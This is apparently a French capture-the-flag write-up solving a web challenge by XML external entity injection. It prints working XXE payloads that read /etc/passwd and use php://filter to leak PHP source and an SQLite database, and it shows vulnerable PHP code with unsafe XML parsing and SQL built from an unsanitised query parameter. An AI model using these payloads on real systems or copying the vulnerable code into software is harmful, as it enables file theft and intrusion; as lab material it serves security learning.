/ web

cyber@hack - X-ception

Lorsqu'on se connecte à l'URL donnée dans l'énoncé, on arrive sur cette page :

base_chall

On comprend rapidement que le but va être de passer un template XML en POST afin d'obtenir le flag. Lorsque l'on passe le template en POST, une nouvelle ligne apparaît, renvoyant le username. On pense alors à la faille XXE (XML eXternal Entity).

Payload #1

On va donc commencer par crafter un premier payload pour confirmer cette hypothèse :

<!DOCTYPE request [
<!ELEMENT user ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><request><user>&xxe;</user><content>test</content></request>

Cette requête renvoie alors à la place du username le contenu du fichier /etc/passwd (inutile dans le cas présent). Bien entendu, le /etc/shadow n'est pas accessible, ça aurait été trop simple !

Payload #2

La deuxième étape va alors consister à tenter de récupérer le contenu de la page index.php, dont on suppose le chemin (/var/www/index.php). Une première tentative en utilisant file:///var/www/index.php) va se solder par un échec.
On se rappelle alors qu'il est possible d'utiliser les PHP filters avec la faille XXE, ce qui donne naissance au second payload :

<!DOCTYPE request [
<!ELEMENT user ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/index.php" >]><request><user>&xxe;</user><content>test</content></request>

Bingo !

On récupère alors un base64 qui une fois décoder nous donne le code PHP de la page :

<b>Server Status :</b><br>
<b>www</b> : <font color="green">up</font><br>
<b>www2</b> : <font color="green">up</font><br>
<br><br>
If you want to POST a request, you may use the following XML template :
<br>
<textarea rows="4" cols="50">
<request>
     <user>username</user>
     <content>text</content>
</request>
</textarea>
<br><br>
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
if ($_SERVER['REQUEST_METHOD'] === 'POST')
    echo "Your request has been submitted, $user";
?>

Payload #3

Rien de bien intéressant ici, cependant, un indice relatif au Server status met la puce à l'oreille concernant l'existence éventuelle d'une seconde page d'index.
On craft alors le payload de manière à récupérer le code de cette page :

 <!DOCTYPE request [
<!ELEMENT user ANY>
<!ENTITY xxe SYSTEM "php
://filter/read=convert.base64-encode/resource=/var/www2/index.php" >]><request><user>&xxe;</user><content>test</content></request>

On obtient alors un deuxième base64 qui va nous donner la page suivante :

<?php
if (!(isset($_GET['id']))) {
    header('Location:' . $_SERVER['PHP_SELF'] . '?id=1');
    echo "A tip for you : the table and column name are both 'flag'";
    die;
} else {
    echo "Req ID ";
    $dir = 'sqlite:/var/www2/db.sqlite';
    $dbh  = new PDO($dir) or die("cannot open the database");
    $query =  "SELECT id, ref FROM ref WHERE id = " . $_GET['id'] . ";";
    foreach ($dbh->query($query) as $row) {
            echo $row[1];
    }
}
?>

Payload final

Il est ici fait référence à une certaine base de données sqlite qui, selon l'indice dans le code, contiendrait le flag.
On opère donc une troisième de la même manière pour obtenir ce coup-ci la base de données :

 <!DOCTYPE request [
<!ELEMENT user ANY>
<!ENTITY xxe SYSTEM "php
://filter/read=convert.base64-encode/resource=/var/www2/db.sqlite" >]><request><user>&xxe;</user><content>test</content></request>

En décodant le base64 ainsi récupéré, on obtient le résultat suivant :

SQLite format 3

[...]

k9tableflagflagCREATE TABLE flag(
id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
flag TEXT NOT NULL
)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)g5tablerefrefCREATE TABLE ref(
id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
ref TEXT NOT NULL
)

[...]

#�Mflag{U-g0nn4-n44d-4-bigg3r-b047}

Flag !! flag{U-g0nn4-n44d-4-bigg3r-b047}